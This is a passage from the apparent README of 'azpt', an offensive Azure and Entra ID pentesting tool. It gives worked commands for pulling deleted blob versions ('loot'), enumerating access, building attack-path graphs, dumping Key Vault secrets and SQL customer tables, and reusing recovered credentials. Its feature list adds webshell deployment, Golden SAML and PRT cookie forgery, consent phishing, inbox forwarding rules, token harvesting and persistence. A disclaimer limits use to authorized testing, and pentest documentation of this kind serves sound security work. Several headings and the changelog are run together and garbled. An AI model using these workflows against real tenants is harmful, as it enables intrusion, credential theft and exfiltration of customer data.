# 2. List the $web container (the default). Note the "versioning:" line —
# if it says ENABLED, historical files may be recoverable.
./azpt blob list --account acmewebsite
# 3. Enumerate versions. This surfaces files removed from the live site,
# e.g. an old backup archive with CURRENT=false.
./azpt blob versions --account acmewebsite
# 4. Copy the exact VERSION value of the interesting blob and download it.
./azpt blob download --account acmewebsite backups/site-transfer.zip \
--version-id '2025-03-14T09:22:10.1234567Z' -o loot.zip
# 5. Inspect the loot.
unzip loot.zip
blob hunthunt automatisiert die Schritte 1–4: Es prüft eine Liste gängiger Container-Namen und zählt für jeden, der anonym auflistbar ist, die Versionen auf und meldet jede datei mit Geheimnissen als Fund.```bash
./azpt blob hunt --account acmewebsite
| `--no-color` | Deaktiviert farbige Ausgabe |
| `--verbose` | Aktiviert ausführliche Ausgabe |
| `--debug` | Aktiviert Debug-Ausgabe |
| `--quiet` | Unterdrückt alle Ausgaben außer Fehlern |
| `--json` | Gibt Ergebnisse im JSON-Format aus |
| `--yaml` | Gibt Ergebnisse im YAML-Format aus |
| `--csv` | Gibt Ergebnisse im CSV-Format aus |
| `--output <file>` | Schreibt Ausgabe in Datei |
| `--config <file>` | Verwendet Konfigurationsdatei |
| `--timeout <seconds>` | Legt Timeout fest |
| `--retry <count>` | Legt Anzahl der Wiederholungsversuche fest |
| `--threads <count>` | Legt Anzahl der Threads fest |
| `--rate-limit <count>` | Legt Ratenbegrenzung fest |
| `--proxy <url>` | Legt Proxy fest |
| `--user-agent <string>` | Legt User-Agent fest |
| `--header <header>` | Legt benutzerdefinierten Header fest |
| `--cookie <cookie>` | Legt Cookie fest |
| `--follow-redirects` | Folgt Weiterleitungen |
| `--insecure` | Deaktiviert TLS-Zertifikatsüberprüfung |
| `--silent` | Unterdrückt alle Ausgaben |
| `--version` | Zeigt Versionsinformationen an |
| `--help` | Zeigt Hilfeinformationen an |```
account acmewebsite — anonymously listable containers: [$web]
SEVERITY CATEGORY TITLE RESOURCE
HIGH blob-anon Sensitive file exposed anonymously: site-transfer.zip backups/site-transfer.zip
MEDIUM blob-anon Container allows anonymous listing $web
MEDIUM blob-anon Historical blob versions anonymously retrievable $web
LOW blob-anon Blob versioning is enabled $web
Benutzerdefinierte Container-Liste — die integrierte Wortliste überschreiben:```bash ./azpt blob hunt --account acmewebsite --containers '$web,backups,assets,private'
**Benutzerdefinierte Erkennungsmuster** — `--pattern` akzeptiert
Groß-/Kleinschreibung-unabhängige Regexes (wiederholbar). Sie werden vor den
integrierten Mustern geprüft und als HIGH markiert, sodass sie die
Standardklassifizierung überstimmen können:```bash
./azpt blob hunt --account acmewebsite --pattern 'acme[-_]?corp' --pattern 'prod-'
Nichts an einem bestimmten Ziel ist fest einprogrammiert — die integrierte Erkennung ist eine Menge von Regexes über Klassen von leckgefährdeten Dateien (siehe Findings).
Sobald Sie Anmeldedaten besitzen, sind zwei Arbeitsabläufe am wichtigsten: zu verstehen, was die Identität tun kann, und an Geheimnisse zu gelangen.
enum accessEin Befehl fasst die Antwort zusammen und verwendet dabei das Token, mit dem Sie bereits angemeldet sind:```bash ./azpt enum access
Es berichtet in Abschnitten:
- **Identität** — Benutzer/App + Objekt-ID + Mandant (aus dem Token dekodiert)
- **Graph-delegierte Bereiche / App-Rollen** — welche Verzeichnisaufrufe erfolgreich sein werden
- **Verzeichnisrollen** — z. B. *Globaler Administrator* sticht hier hervor
- **Gruppenmitgliedschaften** — aus `/me/memberOf`
- **Azure RBAC-Rollenzuweisungen** — Rollenname + Bereich, pro Abonnement
Abschnitte, für die Ihnen die Berechtigung fehlt, werden unter `NOTES` aufgeführt, anstatt den gesamten Befehl fehlschlagen zu lassen. RBAC-Rollenzuweisungen verwenden den `assignedTo()`-Filter, sodass gruppen-*vererbte* Rollen einbezogen werden, nicht nur direkt zugewiesene.
### Angriffspfad-Graph — `scan`
Das Meisterstück: `scan` zählt den **gesamten** effektiven Zugriff des angemeldeten Prinzipals auf — Gruppen, Verzeichnisrollen, RBAC-Zuweisungen, Bereiche und Ressourcen — und erstellt einen **BloodHound-artigen Angriffsgraphen**. Es markiert hochwertige Ziele (Key Vaults, Storage, SQL, Web-Apps, VMs), ordnet jede Rolle dem Benutzer *oder der spezifischen Gruppe, die sie gewährt*, zu und leitet bewertete Angriffspfade mit dem exakten `azpt`-Befehl zur Ausnutzung jedes einzelnen ab.```bash
./azpt scan # text summary: paths ranked by value
./azpt scan --html graph.html # interactive Azure-themed graph (open in a browser)
./azpt scan --loot --html graph.html # deep-scan loot: keys, kubeconfigs, LAPS, creds, snapshots, firewalls, ...
./azpt scan -o graph.json # raw nodes/edges/paths JSON (feed into other tools)
Die --html-Ausgabe ist eine in sich geschlossene, dunkel thematisierte interaktive Angriffskarte
(keine externen Abhängigkeiten, funktioniert vollständig offline), die jeden Knoten mit seinem
echten Azure-Dienstsymbol darstellt. Sie wird mitgeliefert mit:
Mitgliedschaftsbeziehungen (wer in welcher Gruppe/Rolle ist) werden nur mit
scan --deep erfasst, was zusätzlich Gruppen- und Verzeichnisrollenmitglieder aufzählt, damit
die Web-App Identität → Gruppe → Zugriffsketten darstellen kann:```bash
./azpt scan --deep --html graph.html # slower; enables expanding identities on the graph
- Klicken Sie auf einen Pfad oder führen Sie eine Abfrage aus, um dessen Route hervorzuheben und alles andere abzudunkeln,
und klicken Sie auf einen beliebigen Knoten für eine Detailkarte seiner eingehenden/ausgehenden Beziehungen.
Beispiel für Textausgabe:```
OVERVIEW 3 groups · 1 directory roles · 2 role assignments · 32 resources · 9 high-value · 18 attack paths
[1] score 70 — Customer Database Access on "mbt-finance" → query databases
→ member of group "CUSTOMER-DATABASE-ACCESS"
→ holds "Customer Database Access" on RG content-static-2
→ which contains Azure SQL server "mbt-finance" (query databases)
exploit: azpt sql databases --server <name>
vaultEin Key Vault enthält Secrets, Keys und Zertifikate. Ein Vault über
enum resources (ARM) zu sehen, bedeutet nicht automatisch Data-Plane-Zugriff — zum Lesen seines
Inhalts ist eine Key Vault Access Policy (Get/List) oder die RBAC-Rolle Key Vault Secrets
User erforderlich. Ohne diese erhält man 403 Forbidden, was ein nützliches Signal ist.```bash
./azpt vault list --vault ext-contractors
./azpt vault get --vault ext-contractors --secret db-connection-string
./azpt vault dump --vault ext-contractors ./azpt --json vault dump --vault ext-contractors > vault-loot.json
`vault list` meldet jeden Inhaltstyp unabhängig, sodass ein Vault, in dem du Secrets auflisten, aber keine Keys auflisten kannst, dennoch zeigt, was du *sehen* kannst — und genau offenlegt, welche Data-Plane-Berechtigungen du besitzt. Der private Schlüssel eines Zertifikats ist oft über `vault get --secret <cert-name>` abrufbar, da Key Vault ihn über das Secret mit demselben Namen bereitstellt.
Für Sovereign Clouds oder einen ungewöhnlichen Endpunkt übergib `--vault-url` statt `--vault`.
### Azure SQL — `sql`
Azure SQL-Datenbanken auflisten und abfragen. Zwei Authentifizierungsmodi:
- **Entra ID-Token** (Standard) — verwendet deine aktuelle Anmeldeinformation. Funktioniert, wenn der Server einen Entra ID-Administrator hat und dein Principal ein zugeordneter Datenbankbenutzer ist.
- **SQL-Login** (`--user`/`--password`) — erforderlich, wenn der Server *keinen* Entra ID-Administrator hat (du siehst `Login failed ... not currently configured to accept this token` auf dem Token-Pfad). Versuche hier Anmeldeinformationen, die du an anderer Stelle wiederhergestellt hast — z. B. Key Vault-Secrets.```bash
# Entra ID auth
./azpt sql databases --server mbt-finance
./azpt sql tables --server mbt-finance --database Finance
./azpt sql query --server mbt-finance --database Finance -q "SELECT name FROM sys.tables"
./azpt sql dump --server mbt-finance --database Finance --table dbo.Customers --limit 50
# SQL login (recovered creds)
./azpt sql databases --server mbt-finance -U alissa-suarez -P '<password>'
Die Server-Firewall muss Ihre Quell-IP in jedem Fall zulassen. Tabellennamen in
dump werden vor der Verwendung als einfache Bezeichner validiert (sie können in T-SQL nicht
parametrisiert werden), sodass eine Injection über --table nicht möglich ist. sql query ist standardmäßig schreibgeschützt — DROP/DELETE/UPDATE/EXEC/xp_cmdshell und andere mutierende Anweisungen werden abgelehnt, es sei denn --allow-write wird übergeben, sodass eine autorisierte Bewertung nicht versehentlich Daten zerstören kann.
storageDas authentifizierte Gegenstück zu den anonymen blob-Befehlen: verwendet Ihre
Entra ID-Anmeldeinformationen (entspricht az storage ... --auth-mode login), um
Blob-Container/Blobs und Storage Tables zu erreichen. Erfordert eine Data-Plane-Rolle wie
Storage Blob Data Reader oder Storage Table Data Reader — das Anzeigen des Kontos
über enum resources (Control Plane) gewährt diese nicht; ein 403 bedeutet, dass Ihnen
die Datenrolle fehlt.```bash
./azpt storage containers --account custdatabase ./azpt storage blobs --account custdatabase --container backups ./azpt storage download --account custdatabase --container backups --blob db.bacpac -o db.bacpac
./azpt storage tables --account custdatabase ./azpt storage entities --account custdatabase --table customers ./azpt storage entities --account custdatabase --table customers --filter "PartitionKey eq '1'" --limit 100
`blob` vs `storage`: `blob` ist die **externe, nicht authentifizierte** Angreifer-Sicht
(anonyme Auflistung, Versions-Enumeration); `storage` ist die **authentifizierte**
Sicht, sobald man über eine Anmeldeinformation verfügt. Unterschiedliche Bedrohungsmodelle, beide enthalten.
## Findings
Findings tragen eine stabile ID, Schweregrad, Nachweis und Behebung. Der vollständige
Katalog mit Beschreibungen und Korrekturen befindet sich in
[`docs/findings.md`](https://github.com/hac01/azure-pentesting-suite/blob/main/docs/findings.md). Zusammenfassung:
| ID | Schweregrad | Bedeutung |
| --- | --- | --- |
| `STOR-001` | HIGH | Speicherkonto erlaubt öffentlichen (anonymen) Blob-Zugriff |
| `STOR-002` | MEDIUM | HTTPS-only-Übertragung nicht erzwungen |
| `STOR-003` | MEDIUM | Minimale TLS-Version unter 1.2 |
| `STOR-004` | LOW | Shared-Key-Zugriff (Kontoschlüssel) aktiviert |
| `STOR-005` | MEDIUM | Speicher aus allen Netzwerken erreichbar (Firewall-Standard-Allow) |
| `BLOB-001` | MEDIUM | Container erlaubt anonyme Auflistung |
| `BLOB-002` | LOW | Blob-Versionierung ist aktiviert (Verlauf möglicherweise wiederherstellbar) |
| `BLOB-003` | MEDIUM | Historische Blob-Versionen anonym abrufbar |
| `BLOB-010` | variiert | Sensible Datei anonym exponiert (Schweregrad vom Klassifikator) |
`STOR-*` (authentifiziertes Audit) und `BLOB-*` (anonym) sind zwei Seiten
derselben Medaille: `STOR-001` besagt „öffentlicher Zugriff ist konfiguriert“; `BLOB-001` beweist es,
indem der Container tatsächlich von außen aufgelistet wird.
---
## Ausgabeformate
Standardmäßig menschenlesbare Tabellen; fügen Sie das globale `--json`-Flag für strukturierte
Ausgabe hinzu, die für `jq` oder die Aufnahme in eine Report-Pipeline geeignet ist:```bash
./azpt --json audit storage | jq '.[] | select(.severity=="HIGH")'
./azpt --json blob hunt --account acmewebsite > acme-blob-findings.json
Die Ergebnisse werden in der Tabellenausgabe nach Schweregrad sortiert, wobei die schwerwiegendsten zuerst angezeigt werden.
main.go internal/ recon/ unauthenticated outsider recon: realm, tenant, DNS posture, subdomain enum (wildcard-aware), user enum, password spray scan/ attack-path graph builder + self-contained Azure-themed HTML viz azauth/ credential chain, raw token acquisition (ARM + Graph), JWT claims azure/ SDK wrappers: subscriptions, resources, storage audit + data plane (blobs/tables), key vault, RBAC azsql/ Azure SQL client (Entra ID token or SQL login) — query/dump graph/ Microsoft Graph REST client (users, groups, SPs, apps, memberOf) blob/ anonymous Blob REST client (list/versions/download) + secret classifier audit/ pure detection rules over resource views -> findings model/ shared types: Resource, Finding, Severity, Report output/ JSON + human-readable table rendering cli/ cobra command tree, shared bootstrap()
Designprinzipien:
- **Erkennung ist von I/O entkoppelt.** Audit-Regeln und der Blob-Secret-
Klassifikator sind reine Funktionen über abgeflachte Views, sodass sie ohne
jeglichen Netzwerkzugriff unit-getestet werden können.
- **Alles wird zu einem `model.Finding`.** Authentifizierte und anonyme Module
emittieren in denselben Typ, sodass `--json` und zukünftige Reports sie
einheitlich behandeln.
- **Standardmäßig anonym, wo möglich.** Der `blob`-Client spricht die rohe
Blob-REST-API und konstruiert niemals eine Credential.
---
## Entwicklung```bash
go build ./... # compile everything
go test ./... # run unit tests (no Azure connection required)
go vet ./... # static checks
gofmt -l . # list files needing formatting (should be empty)
Die Tests des Blob-Clients durchlaufen den echten Request-Building- und XML-Parsing-Pfad
gegen einen lokalen httptest-Server, einschließlich Versions-Enumeration, Paginierung
und dem 403 PublicAccessNotPermitted-Fall — kein Live-Speicherkonto erforderlich.
--access-token / AZPT_TOKEN + FOCI-Refresh-Einlösungenum ca)enum access — Token-Scopes, Verzeichnisrollen, Gruppen, RBACVeröffentlicht unter der MIT-Lizenz.
azpt ist ein Offensive-Security-Tool, das ausschließlich für autorisierte Tests gedacht ist.
Verwende es ausschließlich gegen Tenants und Abonnements, die dir gehören oder für die du
eine ausdrückliche schriftliche Genehmigung zur Bewertung hast. Du bist für die Art und Weise
der Nutzung verantwortlich.
blob brute)recon takeover)audit network)audit keyvault/rbac)scan: BloodHound-artiger Attack-Path-Graph (Text + JSON + HTML), der
Entra ID (Gruppen/Rollen) mit ARM RBAC + Ressourcen verbindet--cloud)token decode-Utility (Claims + wids→Verzeichnisrollen-Mapping)scan-Privesc-Graph eingebundenrecon tenantinfo: Föderation / Seamless SSO / On-Prem-Sync)enum risky); Intune-Geräte-Enum + Script-Push-RCE (intune)scan --bloodhound)scan (eigene SP/App/Gruppe → Global Admin)--deep)mfa devicecode)scan --audit → Findings-Tab)entra update-profile)blob containers --sas)recon users --first --last --domain)enum identities), Lighthouse-Delegierungen, öffentliche IPsscan --loot-Tiefenscan: Function-App-Keys, AKS kubeconfig, LAPS-Passwörter, BitLocker-Keys, APIM-Secrets, DB-Firewall-Regeln, Disk-Snapshots, benutzerdefinierte RBAC-Wildcard-Rollen, veraltete SP-Credentials, Logic-App-Definitionen--certificate PFX/PEM)webapp deploy) für Webshell-Deploymentenum synced)token extract — Refresh- + Access-Tokens aus .azure/msal_token_cache.json)m365 scan)devops)deploymentScripts-RCE via transientem ACI-Container, mit Managed-Identity-Attach (arm deploy-script)persistence)k8s — Secrets, Service Accounts, Pods, RBAC-Privesc-Enumeration, nicht-interaktiver Pod-Exec, Service-Account-Token-Minting)k8s pivot-azure)enum kql) + Single-Query-Estate-Auflistung (enum resources --fast)harvest): az CLI (accessTokens.json, azureProfile.json, service_principal_entries.json, MSAL-Cache) und Az PowerShell (AzureRmContext.json, DPAPI TokenCache.dat unter Windows)prt): KDF v2 x-ms-RefreshTokenCredential SSO-Cookie-Fälschung aus einem PRT + Session Key, vollständige Nonce→Cookie→Authorize→Token-Kette; On-Host BrowserCore.exe-Extraktion (Windows)device register): DRS Rogue-Device-Join → Gerätezertifikat/-schlüssel (PRT-Voraussetzung, gerätebasierte CA-Umgehung, Persistenz)federation): Managed→Federated-Backdoor (ConvertTo-AADIntBackdoor) + Golden SAML-Fälschung & SAML-Bearer-Einlösung (XML-DSig validiert gegen eine unabhängige Implementierung)entra phish-app): Multi-Tenant-App + Consent-URLs + lokaler Reply-URL-Token-Catcher (Invoke-InjectOAuthApp)m365 rules): stille Posteingangs-Weiterleitungsregeln via Graph messageRulesscan dump/scan query): vollständiges Verzeichnis + Attack-Graph in pure-Go SQLite (modernc.org/sqlite), 13 vorgefertigte analytische Viewsprt extract), AD Connect Sync-Credential-Dump (adconnect sync-creds), DPAPI (CryptUnprotectData) — build-getaggt, No-Op-Anleitung außerhalb von Windowsprt request: echtes PRT von einem registrierten Gerät erhalten (verkettet Geräteregistrierung → das KDF v2-Cookie)